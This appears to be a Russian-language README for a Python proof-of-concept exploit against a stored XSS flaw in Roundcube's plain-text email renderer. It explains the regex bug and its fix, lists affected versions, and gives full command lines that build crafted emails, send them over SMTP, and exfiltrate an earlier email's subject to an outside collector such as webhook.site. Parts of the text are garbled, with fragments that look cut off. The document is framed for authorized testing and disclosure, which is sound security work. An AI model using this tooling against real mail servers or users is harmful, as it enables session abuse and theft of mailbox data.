
Настраиваемый Python PoC для CVE-2026-54433 — хранимой XSS-уязвимости в рендерере текстовых писем Roundcube. Генерирует специально сформированные .eml-файлы, отправляет их через SMTP и подтверждает воздействие в Docker-лаборатории.

Этот репозиторий содержит настраиваемое доказательство концепции на Python для CVE-2026-54433 — хранимой XSS-уязвимости в рендерере обычных текстовых писем Roundcube. Неаутентифицированный отправитель может доставить специально сформированное сообщение text/plain. Когда аутентифицированный пользователь Roundcube открывает или просматривает это сообщение, управляемый атакующим JavaScript выполняется в origin Roundcube.
PoC демонстрирует конкретное влияние на аутентифицированную сессию без сбора cookie или тел сообщений: он считывает тему одного более раннего письма и отправляет это значение, origin Roundcube и имя задачи авторизованному сборщику в виде URL-кодированных POST-полей.
Предупреждение
Это действующий код эксплойта. Используйте его только в собственной лаборатории или против системы и почтового ящика, на тестирование которых у вас есть явное разрешение. Режим отправки передаёт специально сформированное письмо и может раскрыть сборщику одну существующую тему письма. Для офлайн-проверки используйте
--generate-only.
Roundcube преобразует адреса, найденные в обычных текстовых сообщениях, в кликабельные ссылки mailto:. В затронутых версиях необязательный суффикс запроса сопоставлялся с помощью \S+:
. '(\?\S+)?'
Поскольку \S включает < и >, строка, начинающаяся как адрес электронной почты, могла заставить механизм автоматических ссылок поглотить открывающий HTML-тег, оставив остаток для интерпретации в качестве разметки. Эта минимальная форма иллюстрирует примитив:
[email protected]?]
Исправление в апстриме ограничивает суффикс запроса, чтобы он не мог содержать угловые скобки или пробельные символы:
. '(\?[^<>\s]+)?'
Вендор описывает проблему как «zero-click», поскольку клик по ссылке не требуется. Открытие или предпросмотр письма в аутентифицированном состоянии остаётся тем действием почтового клиента, которое отображает полезную нагрузку.
| Серия релизов | Статус |
|---|---|
| Версии Roundcube до 1.6.17 | Затронута |
| Roundcube 1.6.17 и более поздние 1.6.x | Исправлена |
| Roundcube 1.7.0 и 1.7.1 | Затронута |
| Roundcube 1.7.2 и более поздние | Исправлена |
Публичные исправляющие коммиты:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Обновитесь до Roundcube 1.6.17 / 1.7.2 или более новой поддерживаемой версии.
text/plain.src для вызова onerror. Обратный вызов сборщику по-прежнему требует сетевой доступности браузера.HttpOnly. Этот PoC не пытается её прочитать. Его same-origin запрос автоматически использует аутентифицированную сессию, а тема отдельного сообщения служит доказательством влияния.Продемонстрированный результат — выполнение JavaScript в аутентифицированной сессии и доступ на чтение к теме одного более раннего письма. Захват учётной записи, кража произвольных тел сообщений и выполнение серверного кода этим репозиторием не заявляются.
cve-2026-54433-poc.py автономен и использует только стандартную библиотеку Python. Он:
text/plain;CVE-2026-54433;subject, origin и task методом POST на /capture/<random-marker>;Полезная нагрузка вставляет DOM-комментарий:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
Она также скрывает фрагмент автоматически созданной ссылки на адрес и индикатор неработающего изображения, показывая безобидное тело, предоставленное вызывающей стороной.
Сгенерируйте письмо без установления сетевого соединения:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Будут созданы файлы:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonПросмотрите сгенерированное сообщение перед использованием режима отправки.
Значением --collector может быть UUID Webhook.site, capture-URL или URL вида #!/view/. Сценарий сам вычисляет конечные точки захвата и опроса.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Если переменная SMTP_PASSWORD отсутствует, сценарий запрашивает пароль, не отображая и не сохраняя его. Переменную с другим именем можно выбрать с помощью --smtp-password-env NAME. Избегайте --smtp-password в многопользовательских системах, поскольку аргументы командной строки могут быть видны в списках процессов или истории оболочки.
Перед отправкой сценарий запрашивает явное подтверждение YES. В неинтерактивной, уже авторизованной лабораторной автоматизации передайте --yes. По умолчанию он ожидает обратный вызов до 24 часов; чтобы изменить это, используйте --timeout SECONDS.
Для сборщика, отличного от Webhook.site, передайте базовый capture-URL и опциональную JSON-конечную точку статуса:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
Включённый collector.py реализует совместимые конечные точки /capture/<marker> и /status. По умолчанию он привязывается к loopback. Реальное развёртывание HTTPS и контроль доступа намеренно оставлены авторизованному тестировщику.